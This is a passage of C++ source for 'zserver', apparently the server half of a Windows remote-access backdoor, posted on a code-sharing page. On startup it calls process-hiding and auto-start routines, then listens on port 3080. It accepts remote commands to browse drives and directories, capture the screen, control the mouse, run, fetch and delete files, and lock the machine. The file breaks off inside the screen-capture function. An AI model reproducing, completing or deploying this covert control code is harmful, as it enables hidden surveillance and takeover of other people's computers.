📄 zserver.cpp
字号:
// zserver.cpp : Defines the entry point for the application.
//
#include <stdafx.h>
#include <STDIO.H>
#include <stdlib.h>
#define SENDBLOCK 4096//传送(文件.屏幕截图...)时每次最大传送的块
///////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////
SOCKET sktClient;
SOCKET sktConnect;
BOOL EndProgram;//Exit program if TRUE
UINT nPort;//dafault port
struct sockaddr_in sockaddrin;
char chrcommand[2][300];//被分开后的 命令行
char chrReceive[300];//接收到的命令
UINT AnalyseCommand();//把命令分开
BOOL InitSocket();//return TRUE if successful
BOOL ConnectSocket();//listen and accept .return TRUE if successful
BOOL AcceptSocket();//return 0 if successful
void ResetAll();
void TestConnect();
void SendDriverInfo();
void listDirectory();
void SendScreen();
void RunFile();
void DownLoadFile();
void LockMachine();
void UnLock();
void Text2Screen();
void DelFile();
void AddToSystem();
void HideProcess();
HANDLE DDB2DIB(HBITMAP bitmap);//使图象与设备无关
void MouseEvent();
//////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////
typedef struct _MyFileInfo {
BOOL InvaliDir; //无效目录
TCHAR szFileName[128]; //文件名
BOOL IsDirectory; //是目录?
BOOL Next; //还有下一个?
} MyFileInfo, * PMyFileInfo;
typedef struct _MyScreenInfo{
UINT ScrX;//宽(象素)
UINT ScrY;//高(象素)
DWORD dwSize;//图象大小
} MyScreenInfo, * pMyScreenInfo;
typedef struct _MyMouseEvent{
DWORD dwFlags;//鼠标状态
unsigned long dx;//屏幕位置 x
unsigned long dy;//屏幕位置 y
BOOL DoubleClick;//双击? FLASE->不是 TRUE->是
} MyMouseEvent, * pMyMouseEvent;
/*--------------密码---------------
static DWORD WINAPI MyFunc (LPVOID pData)
{
//do something
//...
//pData输入项可以是任何类型值
//这里我们会传入一个DWORD的值做示例,并且简单返回
return *(DWORD*)pData;
}
static void AfterMyFunc (void) {
}
--------------密码---------------*/
///////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
HideProcess();
AddToSystem();
nPort=3080;//default port
//initialize socket(ver=1.1)
if(!InitSocket())
return FALSE;
if(!ConnectSocket())
return FALSE;
//wait command
while(!EndProgram)//EndProgram??
{
if(!AcceptSocket())
{
ResetAll();
ConnectSocket();
}
else
{
recv(sktClient,chrReceive,300,0);
AnalyseCommand();//把命令分开
switch((chrcommand[0][0]))
{
case 127:
TestConnect();//测试连接
break;
case 1:
SendDriverInfo();//传送驱动器信息
break;
case 2:
listDirectory();//列出目录(目录由chrReceive收到,经过AnalyseCommand(),放在chrcommand[1]中
break;
case 3:
SendScreen();//截取屏幕
break;
case 4:
MouseEvent();//鼠标事件
break;
case 5:
RunFile();//打开文件
break;
case 6:
DownLoadFile();
break;
case 7:
LockMachine();
break;
case 8:
UnLock();
break;
case 9:
Text2Screen();
break;
case 10:
DelFile();
break;
case 11:
exit(0);
break;
}
closesocket(sktClient);
}
}
return 0;
}
/////////////////////////////////////////////////////////////////////
BOOL InitSocket()
{
WSADATA lpWSAData;
if(WSAStartup(MAKEWORD(1,1),&lpWSAData))//The WSAStartup function returns zero if successful
{
MessageBox(GetActiveWindow(),
"无法初始化WinSocket,请检查TCP/IP设置",
"! WinSocket",
MB_OK);
return FALSE;//fail
}
return TRUE;
}
/////////////////////////////////////////////////////////////////////
BOOL ConnectSocket()
{
// socket create
sktConnect=socket(AF_INET,SOCK_STREAM,0);
if(sktConnect==INVALID_SOCKET)
{
MessageBox(GetActiveWindow(),"无法创建SOCKET","! WinSocket",MB_OK);
return FALSE;
}
// socket bind
sockaddrin.sin_addr.s_addr = INADDR_ANY;
sockaddrin.sin_family = AF_INET;
sockaddrin.sin_port = htons(nPort);
if(bind(sktConnect,(struct sockaddr far *)&sockaddrin,sizeof(sockaddrin)))
{
MessageBox(GetActiveWindow(),"无法绑定端口,可能端口已被占用","! WinSocket",MB_OK);
return FALSE;
}
// socket listen
if(listen(sktConnect,1))
{
MessageBox(GetActiveWindow(),"请检查网络设置","! WinSocket",MB_OK);
return FALSE;
}
return TRUE;
}
/////////////////////////////////////////////////////////////////////
BOOL AcceptSocket()
{
int ilenofsockaddr=sizeof(sockaddrin);
sktClient=accept(sktConnect,(struct sockaddr far *)&sockaddrin,&ilenofsockaddr);
if(sktClient==INVALID_SOCKET)
{
MessageBox(GetActiveWindow(),"连接失败","! WinSocket",MB_OK);
return FALSE;
}
char cFlag[8];
recv(sktClient,cFlag,8,0);//接收标志 确认是 本软件的 client 端
if(strcmp(cFlag,"zserve\0"))
{
return FALSE;
}
send(sktClient ,cFlag,8,0);// 发送server端标志
return TRUE;
}
/////////////////////////////////////////////////////////////////////
void ResetAll()
{
closesocket(sktClient);
closesocket(sktConnect);
}
/////////////////////////////////////////////////////////////////////
void TestConnect()
{
send(sktClient,"连接成功",300,0);
}
/////////////////////////////////////////////////////////////////////
UINT AnalyseCommand()
{
chrcommand[0][0]=chrReceive[0];
for(int i=2;i<=299;i++)
{
chrcommand[1][i-2]=chrReceive[i];
}
return 0;
}
/////////////////////////////////////////////////////////////////////
void SendDriverInfo()
{
char chr[300]=
" ";
//用空格使字符串为空
int i=0;
for(int drive = 1; drive <= 26; drive++ )
{
if( !_chdrive( drive ) )
{
chr[i]=(drive+'A'-1);
i++;
continue;
}
chr[i]='+';
}
send(sktClient,chr,300,0);
}
/////////////////////////////////////////////////////////////////////
void listDirectory()
{
long handle;
struct _MyFileInfo fileinfo;
struct _finddata_t findfile;
fileinfo.InvaliDir =0;
fileinfo.IsDirectory =0;
fileinfo.Next =0;
if(_chdir(chrcommand[1]))
{
fileinfo.InvaliDir =1;
strcpy(fileinfo.szFileName ,"!*目录无法访问*!");
fileinfo.Next =1;
fileinfo.IsDirectory =0;
send(sktClient,(char*)&fileinfo,sizeof(_MyFileInfo),0);
return;
}
handle = _findfirst("*",&findfile);
do{
strcpy(fileinfo.szFileName,findfile.name) ;
fileinfo.Next =1;
if(GetFileAttributes(fileinfo.szFileName )&FILE_ATTRIBUTE_DIRECTORY)
{
fileinfo.IsDirectory =1;
}
else
{
fileinfo.IsDirectory =0;
}
send(sktClient,(char *)&fileinfo,sizeof(_MyFileInfo),0);
}while(!_findnext(handle,&findfile));
fileinfo.Next =0;
send(sktClient,(char*)&fileinfo,sizeof(_MyFileInfo),0);
}
void SendScreen()
{
_MyScreenInfo ScreenInfo;
ScreenInfo.ScrX = GetSystemMetrics(SM_CXSCREEN);
ScreenInfo.ScrY = GetSystemMetrics(SM_CYSCREEN);
HDC hdcmy,hbufferdc;
HBITMAP hBit,hOldBitmap;
//得到屏幕HDC
hdcmy = CreateDC("DISPLAY",NULL,NULL,NULL);
hbufferdc = CreateCompatibleDC(hdcmy);
//建立相容的HBITMAP
hBit = CreateCompatibleBitmap(hdcmy, ScreenInfo.ScrX , ScreenInfo.ScrY );
//把屏幕copy到内存
hOldBitmap = (HBITMAP)SelectObject(hbufferdc, hBit);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -